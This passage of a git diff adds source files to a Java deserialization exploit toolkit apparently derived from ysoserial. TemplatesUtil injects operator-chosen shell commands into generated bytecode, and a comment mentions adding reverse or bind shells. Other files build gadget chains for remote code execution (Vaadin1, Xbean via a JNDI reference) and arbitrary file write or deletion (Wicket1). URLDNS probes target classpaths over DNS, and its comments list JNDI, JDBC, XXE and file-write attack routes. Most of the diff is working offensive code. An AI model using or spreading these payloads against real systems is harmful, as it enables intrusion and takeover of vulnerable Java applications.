com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import java.io.Serializable; + +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +public class TemplatesUtil { + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + + private static final long serialVersionUID = -5971610431559700674L; + + + @Override + public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {} + + + @Override + public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} + } + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static Object createTemplatesImpl ( final String[] args ) throws Exception { + if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) { + return createTemplatesImpl( + args, + Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), + Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), + Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); + } + + return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); + } + + + public static T createTemplatesImpl ( final String[] args, Class tplClass, Class abstTranslet, Class transFactory ) + throws Exception { + final T templates = tplClass.newInstance(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + pool.insertClassPath(new ClassClassPath(abstTranslet)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + + StringBuilder sb = new StringBuilder(); + boolean first = true; + for ( String arg : args ) { + + if ( !first ) { + sb.append(','); + } + else { + first = false; + } + + sb.append('"'); + sb.append(arg.replaceAll("\"", "\\\"")); + sb.append('"'); + } + + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(new String[] { " + sb.toString() + " });"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + CtClass superC = pool.get(abstTranslet.getName()); + clazz.setSuperclass(superC); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java new file mode 100644 index 0000000..ff49ab5 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/ToStringUtil.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.gadgets; + +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.target.HotSwappableTargetSource; + +import java.lang.reflect.Constructor; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.function.Function; + +public class ToStringUtil { + + public static Object makeToStringTrigger ( Object o, Function wrap ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); + } + + + public static Object makeToStringTrigger ( Object o ) throws Exception { + String unhash = unhash(o.hashCode()); + XString xString = new XString(unhash); + return JDKUtil.makeMap(o, xString); + } + + + public static Object makeJohnzonToStringTrigger ( Object o ) throws Exception { + Class clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$ + Constructor dec = clz.getDeclaredConstructor(Map.class); + dec.setAccessible(true); + HashMap m = new HashMap<>(); + Object jo = dec.newInstance(m); + m.put(o, o); + XString toStringTrig = new XString(""); + return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig)); + } + + + public static Object makeSpringAOPToStringTrigger ( Object o ) throws Exception { + return makeToStringTrigger(o, x -> { + return new HotSwappableTargetSource(x); + }); + } + + + public static String unhash ( int hash ) { + int target = hash; + StringBuilder answer = new StringBuilder(); + if ( target < 0 ) { + // String with hash of Integer.MIN_VALUE, 0x80000000 + answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); + + if ( target == Integer.MIN_VALUE ) + return answer.toString(); + // Find target without sign bit set + target = target & Integer.MAX_VALUE; + } + + unhash0(answer, target); + return answer.toString(); + } + + + private static void unhash0 ( StringBuilder partial, int target ) { + int div = target / 31; + int rem = target % 31; + + if ( div <= Character.MAX_VALUE ) { + if ( div != 0 ) + partial.append((char) div); + partial.append((char) rem); + } + else { + unhash0(partial, div); + partial.append((char) rem); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java new file mode 100644 index 0000000..d861f92 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -0,0 +1,321 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; + +import java.lang.reflect.Field; +import java.net.URL; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +/** + * A blog post with more details about this gadget chain is at the url below: + * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ + *

+ * This was inspired by Philippe Arteau @h3xstream, who wrote a blog + * posting describing how he modified the Java Commons Collections gadget + * in ysoserial to open a URL. This takes the same idea, but eliminates + * the dependency on Commons Collections and does a DNS lookup with just + * standard JDK classes. + *

+ * The Java URL class has an interesting property on its equals and + * hashCode methods. The URL class will, as a side effect, do a DNS lookup + * during a comparison (either equals or hashCode). + *

+ * As part of deserialization, HashMap calls hashCode on each key that it + * deserializes, so using a Java URL object as a serialized key allows + * it to trigger a DNS lookup. + *

+ * Gadget Chain: + * HashMap.readObject() + * HashMap.putVal() + * HashMap.hash() + * URL.hashCode() + */ +@Dependencies() +@Authors({Authors.GEBL}) +public class URLDNS implements ObjectPayload { + public static String[] defaultClass = new String[]{ + "CommonsCollections13567", + "CommonsCollections24", + "CommonsBeanutils2", + "C3P0", + "AspectJWeaver", + "bsh", + "Groovy", + "Becl", + "DefiningClassLoader", + "Jdk7u21", + "JRE8u20", + "ROME", + "Fastjson", + "Jackson", + "SpringAOP", + "winlinux", + "jdk17_22", + "jdk9_22", + "jdk6_8", + "jdk6_11", + "jdk9_10", + }; + + public static String[] jndidefaultclass = { + //"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有 + + "org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 + "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString + "javax.el.ELProcessor",//和BeanFactory最经典的配合 + //"groovy.lang.GroovyShell",//有Groovy所以可以省略了 + //"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了 + "org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合 + "com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合 + //"org.xmlpull.v1.XmlPullParserException",//XStream依赖 + //"org.xmlpull.mxp1.MXParser",//XStream依赖 + "org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合 + //"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有 + + "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 + "org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE + + "org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件 + "org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件 + + "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc + "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", + "org.apache.commons.dbcp.BasicDataSourceFactory", + //"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖 + "org.apache.commons.dbcp2.BasicDataSourceFactory", + //"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖 + "org.apache.tomcat.jdbc.pool.DataSourceFactory", + //"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖 + "com.alibaba.druid.pool.DruidDataSourceFactory", + "com.zaxxer.hikari.HikariJNDIFactory", + //"org.slf4j.LoggerFactory",//HikariCP依赖 + "org.h2.Driver",//h2 jdbc,可以RCE + "org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件 + "org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境 + "com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE + "com.mysql.cj.jdbc.Driver", + "com.mysql.fabric.jdbc.FabricMySQLDriver", + "oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名 + "com.ibm.db2.jcc.DB2Driver",//db2,可以写文件 + "COM.ibm.db2.jcc.DB2Driver", + + "com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到 + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", + + + "oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 + //"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了 + //"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了 + //"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了 + "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类 + + }; + + public static List list = new LinkedList(); + + public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { + HashMap hashMap = new HashMap(); + URL url = new URL("http://" + urls); + Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); + f.setAccessible(true); + f.set(url, Integer.valueOf(0)); + Class clazz = null; + + if (clazzName != null) { + try { + clazz = com.qi4l.JYso.gadgets.utils.Utils.makeClass(clazzName); + } catch (Exception e) { + clazz = Class.forName(clazzName); + } + } + + hashMap.put(url, clazz); + f.set(url, Integer.valueOf(-1)); + return hashMap; + } + + public static void setList(String clazzName, String dnsLog) throws Exception { + + + switch (clazzName) { + case "CommonsCollections13567": + //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 + Object cc31or321 = getURLDNSGadget("cc31or321." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); + list.add(cc31or321); + list.add(cc322); + break; + case "CommonsCollections24": + //CommonsCollections2/4链,需要4-4.0版本 + Object cc40 = getURLDNSGadget("cc40." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); + Object cc41 = getURLDNSGadget("cc41." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc40); + list.add(cc41); + break; + case "CommonsBeanutils2": + //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608 + Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); + Object cb18x = getURLDNSGadget("cb18x." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); + Object cb19x = getURLDNSGadget("cb19x." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); + list.add(cb17); + list.add(cb18x); + list.add(cb19x); + break; + case "C3P0": + //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 + Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); + Object c3p095x = getURLDNSGadget("c3p095x." + dnsLog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); + list.add(c3p092x); + list.add(c3p095x); + break; + case "AspectJWeaver": + //aspectjweaver,需要cc31 + Object ajw = getURLDNSGadget("ajw." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(ajw); + break; + case "bsh": + //bsh,serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化 + Object bsh20b4 = getURLDNSGadget("bsh20b4." + dnsLog, "bsh.CollectionManager$1"); + Object bsh20b5 = getURLDNSGadget("bsh20b5." + dnsLog, "bsh.engine.BshScriptEngine"); + Object bsh20b6 = getURLDNSGadget("bsh20b6." + dnsLog, "bsh.collection.CollectionIterator$1"); + list.add(bsh20b4); + list.add(bsh20b5); + list.add(bsh20b6); + break; + case "Groovy": + //Groovy,1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280 + Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); + Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); + Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + list.add(groovy1702311); + list.add(groovy24x); + list.add(groovy244); + break; + case "Becl": + //Becl,JDK<8u251 + Object becl = getURLDNSGadget("becl." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(becl); + break; + case "Jdk7u21": + //JDK<=7u21 + Object Jdk7u21 = getURLDNSGadget("Jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(Jdk7u21); + break; + case "JRE8u20": + //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 + Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); + list.add(JRE8u20); + break; + case "ROME": + //rome <= 1.11.1 + Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); + Object rome1111 = getURLDNSGadget("rome1111." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); + list.add(rome1000); + list.add(rome1111); + break; + case "Fastjson": + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + break; + case "Jackson": + //jackson-databind>=2.10.0存在一个链 + //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 + Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); + list.add(jackson2100); + break; + case "SpringAOP": + //fastjon/jackson两个链触发toString的变种,都需要springAOP + Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource"); + list.add(springAOP); + break; + case "winlinux": + //windows/linux版本判断 + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + break; + case "jdk17_22": + Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); + list.add(jdk17_22); + break; + case "jdk9_22": + Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe"); + list.add(jdk9_22); + break; + case "jdk6_8": + Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder"); + list.add(jdk6_8); + break; + case "jdk6_11": + Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning"); + list.add(jdk6_11); + break; + case "jdk9_10": + Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient"); + list.add(jdk9_10); + break; + + case "all": + for (int i = 0; i < defaultClass.length; i++) { + setList(defaultClass[i], dnsLog); + } + break; + case "jndiall": + for (int i = 0; i < jndidefaultclass.length; i++) { + setList(jndidefaultclass[i], dnsLog); + } + break; + default: + Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); + list.add(hm); + break; + } + } + + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String tYPE = command.substring(0, sep); + String url = command.substring(sep + 1); + + switch (tYPE) { + // common 时会测试不常被黑名单禁用的类 + case "common": + setList("CommonsBeanutils2", url); + setList("C3P0", url); + setList("AspectJWeaver", url); + setList("bsh", url); + setList("winlinux", url); + break; + + // all 会测试全部类 + case "all": + setList("all", url); + break; + + // jndi 时会测试JNDI相关的类 + case "jndiall": + setList("jndiall", url); + break; + + case "null": + return getURLDNSGadget(url, null); + // 默认指定类 + default: + setList(tYPE, url); + } + + return list; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java new file mode 100644 index 0000000..6dcee1e --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/UtilFactory.java @@ -0,0 +1,31 @@ +package com.qi4l.JYso.gadgets; + +import java.util.Comparator; + +public class UtilFactory { + + // 实现接口中的所有方法 + public Object makeHashCodeTrigger(Object o1) throws Exception { + return JDKUtil.makeMap(o1, o1); + } + + public Object makeEqualsTrigger(Object tgt, Object sameHash) throws Exception { + return JDKUtil.makeMap(tgt, sameHash); + } + + public Object makeToStringTriggerUnstable ( Object obj ) throws Exception { + return ToStringUtil.makeSpringAOPToStringTrigger(obj); + } + + public Object makeToStringTriggerStable(Object obj) throws Exception { + return ToStringUtil.makeToStringTrigger(obj); + } + + public Object makeIteratorTrigger(Object it) throws Exception { + return JDKUtil.makeIteratorTriggerNative(this, it); + } + + public Object makeComparatorTrigger(Object tgt, Comparator cmp) throws Exception { + return JDKUtil.makeTreeMap(tgt, cmp); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java new file mode 100644 index 0000000..15753e4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Vaadin1.java @@ -0,0 +1,75 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.JavaVersion; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import javax.management.BadAttributeValueExpException; + + +/** + * +-------------------------------------------------+ + * | | + * | BadAttributeValueExpException | + * | | + * | val ==> PropertysetItem | + * | | + * | readObject() ==> val.toString() | + * | + | + * +----------|--------------------------------------+ + * | + * | + * | + * +----|-----------------------------------------+ + * | v | + * | PropertysetItem | + * | | + * | toString () => getPropertyId().getValue () | + * | + | + * +---------------------------------------|------+ + * | + * +-----------------------------+ + * | + * +-----|----------------------------------------------+ + * | v | + * | NestedMethodProperty | + * | | + * | getValue() => java.lang.reflect.Method.invoke () | + * | | | + * +-------------------------------------------|--------+ + * | + * +-----------------------------------+ + * | + * +---|--------------------------------------------+ + * | v | + * | TemplatesImpl.getOutputProperties() | + * | | + * +------------------------------------------------+ + */ +@SuppressWarnings({"unused"}) +@Dependencies({"com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14"}) +@Authors({Authors.KULLRICH}) +public class Vaadin1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + PropertysetItem pItem = new PropertysetItem(); + + NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties"); + pItem.addItemProperty("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", pItem); + + return b; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java new file mode 100644 index 0000000..e8be1a1 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Wicket1.java @@ -0,0 +1,102 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; +import org.apache.wicket.util.upload.DiskFileItem; + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + *

+ * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + *

+ *

+ * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + *

+ * Example: + * Wicket1 "write;/tmp;blue lobster" + *

+ * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) +@Authors({Authors.JACOBAINES}) +public class Wicket1 implements ReleaseableObjectPayload { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + @Override + public DiskFileItem getObject(String command) throws Exception { + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if ("writeOld".equals(parts[0])) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeOldB64".equals(parts[0])) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + @Override + public void release(DiskFileItem obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Xbean.java b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java new file mode 100644 index 0000000..cf0f7c2 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/Xbean.java @@ -0,0 +1,24 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding; +import org.apache.xbean.naming.context.WritableContext; + +import javax.naming.Context; +import javax.naming.Reference; +import java.net.URI; + +public class Xbean implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + //需要处理command + UtilFactory uf = new UtilFactory(); + Context ctx = Reflections.createWithoutConstructor(WritableContext.class); + URI uri = new URI(command); + String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; + Reference ref = new Reference("foo", args[1], args[0]); + ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx); + return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$ + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java new file mode 100644 index 0000000..f973b84 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Authors.java @@ -0,0 +1,70 @@ +package com.qi4l.JYso.gadgets.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + + String FROHOFF = "frohoff"; + + String PWNTESTER = "pwntester"; + + String CSCHNEIDER4711 = "cschneider4711"; + + String MBECHLER = "mbechler"; + + String JACKOFMOSTTRADES = "JackOfMostTrades"; + + String MATTHIASKAISER = "matthias_kaiser"; + + String GEBL = "gebl"; + + String JACOBAINES = "jacob-baines"; + + String JASINNER = "jasinner"; + + String KULLRICH = "kai_ullrich"; + + String TINT0 = "_tint0"; + + String SCRISTALLI = "scristalli"; + + String HANYRAX = "hanyrax"; + + String EDOARDOVIGNATI = "EdoardoVignati"; + + String JANG = "Jang"; + + String ARTSPLOIT = "artsploit"; + String CCKUAILONG = "CCKUAILONG"; + + String QI4L = "QI4L"; + String PEIQIF4CK = "peiqiF4ck"; + + String Jayl1n = "Jayl1n"; + + String N1ght = "N1ght"; + + String KILLER = "killer"; + + String Unam4 = "Unam4"; + + String[] value() default {}; + + class Utils { + + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java new file mode 100644 index 0000000..44c1512 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java @@ -0,0 +1,46 @@ +package com.qi4l.JYso.gadgets.annotation; + +import com.qi4l.JYso.gadgets.utils.Reflections; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; +import java.lang.reflect.Method; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + + + String[] value() default {}; + + public static class Utils { + + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + try { + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Method m = name.getDeclaredMethod("getDependencies"); + m.setAccessible(true); + return (String[]) m.invoke(null); + } catch (Exception ignored) { + return new String[0]; + } + } + } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java 